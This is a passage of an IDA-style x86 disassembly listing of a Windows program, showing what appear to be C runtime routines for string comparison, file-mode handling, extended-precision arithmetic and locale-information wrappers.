sub_438CA0+A9j xor eax, eax loc_438EF9: ; CODE XREF: sub_438CA0+79j ; sub_438CA0+9Dj ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_438CA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438F10 proc near ; CODE XREF: sub_435200+11Bp ; sub_435200+2D4p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] or ecx, ecx jz loc_43900A mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] lea eax, dword_4F33F0 cmp dword ptr [eax+8], 0 jnz short loc_438F81 mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_438F3C: ; CODE XREF: sub_438F10+53j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_438F65 or al, al jz short loc_438F65 inc esi inc edi cmp ah, bh jb short loc_438F54 cmp ah, bl ja short loc_438F54 add ah, dh loc_438F54: ; CODE XREF: sub_438F10+3Cj ; sub_438F10+40j cmp al, bh jb short loc_438F5E cmp al, bl ja short loc_438F5E add al, dh loc_438F5E: ; CODE XREF: sub_438F10+46j ; sub_438F10+4Aj cmp ah, al jnz short loc_438F6F dec ecx jnz short loc_438F3C loc_438F65: ; CODE XREF: sub_438F10+32j ; sub_438F10+36j xor ecx, ecx cmp ah, al jz loc_43900A loc_438F6F: ; CODE XREF: sub_438F10+50j mov ecx, 0FFFFFFFFh jb loc_43900A neg ecx jmp loc_43900A ; --------------------------------------------------------------------------- loc_438F81: ; CODE XREF: sub_438F10+21j lock inc ds:dword_4F37C8 cmp ds:dword_4F37C4, 0 jg short loc_438F95 push 0 jmp short loc_438FAE ; --------------------------------------------------------------------------- loc_438F95: ; CODE XREF: sub_438F10+7Fj lock dec ds:dword_4F37C8 mov ebx, ecx push 13h call sub_423280 mov [esp+10h+var_10], 1 mov ecx, ebx loc_438FAE: ; CODE XREF: sub_438F10+83j xor eax, eax xor ebx, ebx mov edi, edi loc_438FB4: ; CODE XREF: sub_438F10+CDj mov al, [esi] or eax, eax mov bl, [edi] jz short loc_438FDF or ebx, ebx jz short loc_438FDF inc esi inc edi push ecx push eax push ebx call sub_421D30 mov ebx, eax add esp, 4 call sub_421D30 add esp, 4 pop ecx cmp eax, ebx jnz short loc_438FE5 dec ecx jnz short loc_438FB4 loc_438FDF: ; CODE XREF: sub_438F10+AAj ; sub_438F10+AEj xor ecx, ecx cmp eax, ebx jz short loc_438FEE loc_438FE5: ; CODE XREF: sub_438F10+CAj mov ecx, 0FFFFFFFFh jb short loc_438FEE neg ecx loc_438FEE: ; CODE XREF: sub_438F10+D3j ; sub_438F10+DAj pop eax or eax, eax jnz short loc_438FFC lock dec ds:dword_4F37C8 jmp short loc_43900A ; --------------------------------------------------------------------------- loc_438FFC: ; CODE XREF: sub_438F10+E1j mov ebx, ecx push 13h call sub_423320 add esp, 4 mov ecx, ebx loc_43900A: ; CODE XREF: sub_438F10+Bj ; sub_438F10+59j ... mov eax, ecx pop ebx pop esi pop edi leave retn sub_438F10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, ds:dword_4F37C0 jnb short loc_439051 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_439061 loc_439051: ; CODE XREF: _0:0043902Dj call sub_429A90 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_43908F ; --------------------------------------------------------------------------- loc_439061: ; CODE XREF: _0:0043904Fj mov edx, [ebp+8] push edx call sub_431070 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_4390A0 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_431100 add esp, 4 mov eax, [ebp-4] loc_43908F: ; CODE XREF: _0:0043905Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4390A0 proc near ; CODE XREF: sub_435EC0+D4p ; sub_435EC0+1A6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h mov [ebp+var_4], eax cmp [ebp+arg_4], 8000h jnz short loc_439109 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] mov cl, [eax+edx+4] and cl, 7Fh mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, ds:dword_4F36C0[edx*4] mov [edx+eax+4], cl jmp short loc_43915A ; --------------------------------------------------------------------------- loc_439109: ; CODE XREF: sub_4390A0+2Ej cmp [ebp+arg_4], 4000h jnz short loc_43914A mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov al, [edx+ecx+4] or al, 80h mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, ds:dword_4F36C0[ecx*4] mov [ecx+edx+4], al jmp short loc_43915A ; --------------------------------------------------------------------------- loc_43914A: ; CODE XREF: sub_4390A0+70j call sub_429A90 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_43916B ; --------------------------------------------------------------------------- loc_43915A: ; CODE XREF: sub_4390A0+67j ; sub_4390A0+A8j mov eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0FFFFC000h add eax, 8000h loc_43916B: ; CODE XREF: sub_4390A0+B8j mov esp, ebp pop ebp retn sub_4390A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439170 proc near ; CODE XREF: sub_436F70+2B5p ; sub_4395B0+B5p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h mov word ptr [ebp+var_2C], 0 mov [ebp+var_4], 0 mov [ebp+var_14], 0 mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov cx, [eax+0Ah] mov word ptr [ebp+var_18], cx mov edx, [ebp+arg_4] mov ax, [edx+0Ah] mov word ptr [ebp+var_20], ax mov ecx, [ebp+var_18] and ecx, 0FFFFh mov edx, [ebp+var_20] and edx, 0FFFFh xor ecx, edx and ecx, 8000h mov word ptr [ebp+var_2C], cx mov ax, word ptr [ebp+var_18] and ax, 7FFFh mov word ptr [ebp+var_18], ax mov cx, word ptr [ebp+var_20] and cx, 7FFFh mov word ptr [ebp+var_20], cx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_20] and eax, 0FFFFh add edx, eax mov word ptr [ebp+var_30], dx mov ecx, [ebp+var_18] and ecx, 0FFFFh cmp ecx, 7FFFh jge short loc_43922D mov edx, [ebp+var_20] and edx, 0FFFFh cmp edx, 7FFFh jge short loc_43922D mov eax, [ebp+var_30] and eax, 0FFFFh cmp eax, 0BFFDh jle short loc_439264 loc_43922D: ; CODE XREF: sub_439170+9Bj ; sub_439170+ACj mov ecx, [ebp+var_2C] and ecx, 0FFFFh neg ecx sbb ecx, ecx and ecx, 80000000h add ecx, 7FFF8000h mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 jmp loc_4395A9 ; --------------------------------------------------------------------------- loc_439264: ; CODE XREF: sub_439170+BBj mov edx, [ebp+var_30] and edx, 0FFFFh cmp edx, 3FBFh jg short loc_439297 mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp loc_4395A9 ; --------------------------------------------------------------------------- loc_439297: ; CODE XREF: sub_439170+103j mov eax, [ebp+var_18] and eax, 0FFFFh test eax, eax jnz short loc_4392DD mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx mov edx, [ebp+arg_0] mov eax, [edx+8] and eax, 7FFFFFFFh test eax, eax jnz short loc_4392DD mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_4392DD mov edx, [ebp+arg_0] cmp dword ptr [edx], 0 jnz short loc_4392DD mov eax, [ebp+arg_0] mov word ptr [eax+0Ah], 0 jmp loc_4395A9 ; --------------------------------------------------------------------------- loc_4392DD: ; CODE XREF: sub_439170+131j ; sub_439170+14Cj ... mov ecx, [ebp+var_20] and ecx, 0FFFFh test ecx, ecx jnz short loc_439339 mov dx, word ptr [ebp+var_30] add dx, 1 mov word ptr [ebp+var_30], dx mov eax, [ebp+arg_4] mov ecx, [eax+8] and ecx, 7FFFFFFFh test ecx, ecx jnz short loc_439339 mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jnz short loc_439339 mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_439339 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 jmp loc_4395A9 ; --------------------------------------------------------------------------- loc_439339: ; CODE XREF: sub_439170+178j ; sub_439170+194j ... mov [ebp+var_28], 0 mov [ebp+var_1C], 0 jmp short loc_439352 ; --------------------------------------------------------------------------- loc_439349: ; CODE XREF: sub_439170+29Cj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_439352: ; CODE XREF: sub_439170+1D7j cmp [ebp+var_1C], 5 jge loc_439411 mov edx, [ebp+var_1C] shl edx, 1 mov [ebp+var_24], edx mov [ebp+var_8], 8 mov eax, 5 sub eax, [ebp+var_1C] mov [ebp+var_34], eax jmp short loc_439381 ; --------------------------------------------------------------------------- loc_439378: ; CODE XREF: sub_439170+28Ej mov ecx, [ebp+var_34] sub ecx, 1 mov [ebp+var_34], ecx loc_439381: ; CODE XREF: sub_439170+206j cmp [ebp+var_34], 0 jle short loc_439403 mov edx, [ebp+arg_0] add edx, [ebp+var_24] mov [ebp+var_38], edx mov eax, [ebp+arg_4] add eax, [ebp+var_8] mov [ebp+var_3C], eax mov ecx, [ebp+var_28] lea edx, [ebp+ecx+var_14] mov [ebp+var_40], edx mov eax, [ebp+var_38] xor ecx, ecx mov cx, [eax] mov edx, [ebp+var_3C] xor eax, eax mov ax, [edx] imul ecx, eax mov [ebp+var_44], ecx mov ecx, [ebp+var_40] push ecx mov edx, [ebp+var_44] push edx mov eax, [ebp+var_40] mov ecx, [eax] push ecx call sub_4360F0 add esp, 0Ch mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_4393EC mov edx, [ebp+var_28] mov ax, word ptr [ebp+edx+var_10] add ax, 1 mov ecx, [ebp+var_28] mov word ptr [ebp+ecx+var_10], ax loc_4393EC: ; CODE XREF: sub_439170+266j mov edx, [ebp+var_24] add edx, 2 mov [ebp+var_24], edx mov eax, [ebp+var_8] sub eax, 2 mov [ebp+var_8], eax jmp loc_439378 ; --------------------------------------------------------------------------- loc_439403: ; CODE XREF: sub_439170+215j mov ecx, [ebp+var_28] add ecx, 2 mov [ebp+var_28], ecx jmp loc_439349 ; --------------------------------------------------------------------------- loc_439411: ; CODE XREF: sub_439170+1E6j mov dx, word ptr [ebp+var_30] sub dx, 3FFEh mov word ptr [ebp+var_30], dx loc_43941E: ; CODE XREF: sub_439170+2DBj movsx eax, word ptr [ebp+var_30] test eax, eax jle short loc_43944D mov ecx, [ebp+var_C] and ecx, 80000000h test ecx, ecx jnz short loc_43944D lea edx, [ebp+var_14] push edx call sub_4361E0 add esp, 4 mov ax, word ptr [ebp+var_30] sub ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_43941E ; --------------------------------------------------------------------------- loc_43944D: ; CODE XREF: sub_439170+2B4j ; sub_439170+2C1j movsx ecx, word ptr [ebp+var_30] test ecx, ecx jg short loc_4394AD mov dx, word ptr [ebp+var_30] sub dx, 1 mov word ptr [ebp+var_30], dx loc_439461: ; CODE XREF: sub_439170+32Aj movsx eax, word ptr [ebp+var_30] test eax, eax jge short loc_43949C mov ecx, [ebp+var_14] and ecx, 0FFFFh and ecx, 1 test ecx, ecx jz short loc_439482 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_439482: ; CODE XREF: sub_439170+307j lea eax, [ebp+var_14] push eax call sub_436240 add esp, 4 mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx jmp short loc_439461 ; --------------------------------------------------------------------------- loc_43949C: ; CODE XREF: sub_439170+2F7j cmp [ebp+var_4], 0 jz short loc_4394AD mov dx, word ptr [ebp+var_14] or dl, 1 mov word ptr [ebp+var_14], dx loc_4394AD: ; CODE XREF: sub_439170+2E3j ; sub_439170+330j mov eax, [ebp+var_14] and eax, 0FFFFh cmp eax, 8000h jg short loc_4394CD mov ecx, [ebp+var_14] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_43952E loc_4394CD: ; CODE XREF: sub_439170+34Aj cmp [ebp+var_14+2], 0FFFFFFFFh jnz short loc_439525 mov [ebp+var_14+2], 0 cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_43951A mov [ebp+var_10+2], 0 mov edx, [ebp+var_C+2] and edx, 0FFFFh cmp edx, 0FFFFh jnz short loc_43950C mov word ptr [ebp+var_C+2], 8000h mov ax, word ptr [ebp+var_30] add ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_439518 ; --------------------------------------------------------------------------- loc_43950C: ; CODE XREF: sub_439170+386j mov cx, word ptr [ebp+var_C+2] add cx, 1 mov word ptr [ebp+var_C+2], cx loc_439518: ; CODE XREF: sub_439170+39Aj jmp short loc_439523 ; --------------------------------------------------------------------------- loc_43951A: ; CODE XREF: sub_439170+36Ej mov edx, [ebp+var_10+2] add edx, 1 mov [ebp+var_10+2], edx loc_439523: ; CODE XREF: sub_439170:loc_439518j jmp short loc_43952E ; --------------------------------------------------------------------------- loc_439525: ; CODE XREF: sub_439170+361j mov eax, [ebp+var_14+2] add eax, 1 mov [ebp+var_14+2], eax loc_43952E: ; CODE XREF: sub_439170+35Bj ; sub_439170:loc_439523j mov ecx, [ebp+var_30] and ecx, 0FFFFh cmp ecx, 7FFFh jl short loc_439573 mov edx, [ebp+var_2C] and edx, 0FFFFh neg edx sbb edx, edx and edx, 80000000h add edx, 7FFF8000h mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp short loc_4395A9 ; --------------------------------------------------------------------------- loc_439573: ; CODE XREF: sub_439170+3CDj mov eax, [ebp+arg_0] mov cx, word ptr [ebp+var_14+2] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_10] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+6], edx mov eax, [ebp+var_30] and eax, 0FFFFh mov ecx, [ebp+var_2C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax loc_4395A9: ; CODE XREF: sub_439170+EFj ; sub_439170+122j ... mov esp, ebp pop ebp retn sub_439170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4395B0 proc near ; CODE XREF: sub_4363F0+914p ; sub_436F70+288p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, offset dword_454E20 sub eax, 60h mov [ebp+var_4], eax cmp [ebp+arg_4], 0 jnz short loc_4395CC jmp loc_43966F ; --------------------------------------------------------------------------- loc_4395CC: ; CODE XREF: sub_4395B0+15j cmp [ebp+arg_4], 0 jge short loc_4395E5 mov ecx, [ebp+arg_4] neg ecx mov [ebp+arg_4], ecx mov edx, offset dword_454F80 sub edx, 60h mov [ebp+var_4], edx loc_4395E5: ; CODE XREF: sub_4395B0+20j cmp [ebp+arg_8], 0 jnz short loc_4395F3 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_4395F3: ; CODE XREF: sub_4395B0+39j ; sub_4395B0+6Aj ... cmp [ebp+arg_4], 0 jz short loc_43966F mov ecx, [ebp+var_4] add ecx, 54h mov [ebp+var_4], ecx mov edx, [ebp+arg_4] and edx, 7 mov [ebp+var_18], edx mov eax, [ebp+arg_4] sar eax, 3 mov [ebp+arg_4], eax cmp [ebp+var_18], 0 jnz short loc_43961C jmp short loc_4395F3 ; --------------------------------------------------------------------------- loc_43961C: ; CODE XREF: sub_4395B0+68j mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor ecx, ecx mov cx, [eax] cmp ecx, 8000h jl short loc_43965D mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_14], eax mov ecx, [edx+4] mov [ebp+var_10], ecx mov edx, [edx+8] mov [ebp+var_C], edx mov eax, [ebp+var_14+2] sub eax, 1 mov [ebp+var_14+2], eax lea ecx, [ebp+var_14] mov [ebp+var_8], ecx loc_43965D: ; CODE XREF: sub_4395B0+88j mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] push eax call sub_439170 add esp, 8 jmp short loc_4395F3 ; --------------------------------------------------------------------------- loc_43966F: ; CODE XREF: sub_4395B0+17j ; sub_4395B0+47j mov esp, ebp pop ebp retn sub_4395B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439680 proc near ; CODE XREF: sub_4374C0+9Bp ; sub_43A200+2Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 0 jnz short loc_43968E xor eax, eax jmp short loc_4396CB ; --------------------------------------------------------------------------- loc_43968E: ; CODE XREF: sub_439680+8j mov eax, ds:dword_4F37CC push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 1 mov edx, ds:dword_4F39E4 push edx call sub_439AD0 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4396C5 mov eax, 7FFFFFFFh jmp short loc_4396CB ; --------------------------------------------------------------------------- loc_4396C5: ; CODE XREF: sub_439680+3Cj mov eax, [ebp+var_4] sub eax, 2 loc_4396CB: ; CODE XREF: sub_439680+Cj ; sub_439680+43j mov esp, ebp pop ebp retn sub_439680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4396D0 proc near ; CODE XREF: sub_4374C0+2Dp ; sub_439F20+81p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, ds:dword_4F331C mov [ebp+var_4], eax loc_4396DE: ; CODE XREF: sub_4396D0+A3j mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0 jz loc_439778 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+var_4] mov eax, [edx] push eax push 0 push 1 call ds:dword_4F5450 ; WideCharToMultiByte mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_439712 or eax, 0FFFFFFFFh jmp short loc_43977A ; --------------------------------------------------------------------------- loc_439712: ; CODE XREF: sub_4396D0+3Bj push 3Dh push offset dword_43E060 push 2 mov ecx, [ebp+var_C] push ecx call sub_41BE70 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_439735 or eax, 0FFFFFFFFh jmp short loc_43977A ; --------------------------------------------------------------------------- loc_439735: ; CODE XREF: sub_4396D0+5Ej push 0 push 0 mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_4] mov edx, [ecx] push edx push 0 push 1 call ds:dword_4F5450 ; WideCharToMultiByte test eax, eax jnz short loc_43975C or eax, 0FFFFFFFFh jmp short loc_43977A ; --------------------------------------------------------------------------- loc_43975C: ; CODE XREF: sub_4396D0+85j push 0 mov eax, [ebp+var_8] push eax call sub_439F20 add esp, 8 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp loc_4396DE ; --------------------------------------------------------------------------- loc_439778: ; CODE XREF: sub_4396D0+14j xor eax, eax loc_43977A: ; CODE XREF: sub_4396D0+40j ; sub_4396D0+63j ... mov esp, ebp pop ebp retn sub_4396D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439780 proc near ; CODE XREF: sub_438A00+19Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E070 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4F368C, 0 jnz short loc_4397F2 push 0 push 0 push 1 push 0 call ds:dword_4F52E4 ; GetLocaleInfoW test eax, eax jz short loc_4397CD mov ds:dword_4F368C, 1 jmp short loc_4397F2 ; --------------------------------------------------------------------------- loc_4397CD: ; CODE XREF: sub_439780+3Fj push 0 push 0 push 1 push 0 call ds:dword_4F5398 ; GetLocaleInfoA test eax, eax jz short loc_4397EB mov ds:dword_4F368C, 2 jmp short loc_4397F2 ; --------------------------------------------------------------------------- loc_4397EB: ; CODE XREF: sub_439780+5Dj xor eax, eax jmp loc_439901 ; --------------------------------------------------------------------------- loc_4397F2: ; CODE XREF: sub_439780+2Dj ; sub_439780+4Bj ... cmp ds:dword_4F368C, 1 jnz short loc_439816 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F52E4 ; GetLocaleInfoW jmp loc_439901 ; --------------------------------------------------------------------------- loc_439816: ; CODE XREF: sub_439780+79j cmp ds:dword_4F368C, 2 jnz loc_4398FF cmp [ebp+arg_10], 0 jnz short loc_439832 mov ecx, ds:dword_4F3408 mov [ebp+arg_10], ecx loc_439832: ; CODE XREF: sub_439780+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F5398 ; GetLocaleInfoA mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_439854 xor eax, eax jmp loc_439901 ; --------------------------------------------------------------------------- loc_439854: ; CODE XREF: sub_439780+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_439894 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_439894: ; CODE XREF: sub_439780+FBj cmp [ebp+var_20], 0 jnz short loc_43989E xor eax, eax jmp short loc_439901 ; --------------------------------------------------------------------------- loc_43989E: ; CODE XREF: sub_439780+118j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4F5398 ; GetLocaleInfoA test eax, eax jnz short loc_4398BC xor eax, eax jmp short loc_439901 ; --------------------------------------------------------------------------- loc_4398BC: ; CODE XREF: sub_439780+136j cmp [ebp+arg_C], 0 jnz short loc_4398DD push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 1 mov ecx, [ebp+arg_10] push ecx call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_24], eax jmp short loc_4398FA ; --------------------------------------------------------------------------- loc_4398DD: ; CODE XREF: sub_439780+140j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 1 mov edx, [ebp+arg_10] push edx call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_24], eax loc_4398FA: ; CODE XREF: sub_439780+15Bj mov eax, [ebp+var_24] jmp short loc_439901 ; --------------------------------------------------------------------------- loc_4398FF: ; CODE XREF: sub_439780+9Dj xor eax, eax loc_439901: ; CODE XREF: sub_439780+6Dj ; sub_439780+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_439780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439920 proc near ; CODE XREF: sub_438A00+4Bp ; sub_438A00+7Ep ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E080 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4F3690, 0 jnz short loc_439992 push 0 push 0 push 1 push 0 call ds:dword_4F52E4 ; GetLocaleInfoW test eax, eax jz short loc_43996D mov ds:dword_4F3690, 1 jmp short loc_439992 ; --------------------------------------------------------------------------- loc_43996D: ; CODE XREF: sub_439920+3Fj push 0 push 0 push 1 push 0 call ds:dword_4F5398 ; GetLocaleInfoA test eax, eax jz short loc_43998B mov ds:dword_4F3690, 2 jmp short loc_439992 ; --------------------------------------------------------------------------- loc_43998B: ; CODE XREF: sub_439920+5Dj xor eax, eax jmp loc_439AB1 ; --------------------------------------------------------------------------- loc_439992: ; CODE XREF: sub_439920+2Dj ; sub_439920+4Bj ... cmp ds:dword_4F3690, 2 jnz short loc_4399B6 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F5398 ; GetLocaleInfoA jmp loc_439AB1 ; --------------------------------------------------------------------------- loc_4399B6: ; CODE XREF: sub_439920+79j cmp ds:dword_4F3690, 1 jnz loc_439AAF cmp [ebp+arg_10], 0 jnz short loc_4399D2 mov ecx, ds:dword_4F3408 mov [ebp+arg_10], ecx loc_4399D2: ; CODE XREF: sub_439920+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F52E4 ; GetLocaleInfoW mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4399F4 xor eax, eax jmp loc_439AB1 ; --------------------------------------------------------------------------- loc_4399F4: ; CODE XREF: sub_439920+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_439A36 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_439A36: ; CODE XREF: sub_439920+FDj cmp [ebp+var_20], 0 jnz short loc_439A40 xor eax, eax jmp short loc_439AB1 ; --------------------------------------------------------------------------- loc_439A40: ; CODE XREF: sub_439920+11Aj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4F52E4 ; GetLocaleInfoW test eax, eax jnz short loc_439A5E xor eax, eax jmp short loc_439AB1 ; --------------------------------------------------------------------------- loc_439A5E: ; CODE XREF: sub_439920+138j cmp [ebp+arg_C], 0 jnz short loc_439A86 push 0 push 0 push 0 push 0 push 0FFFFFFFFh 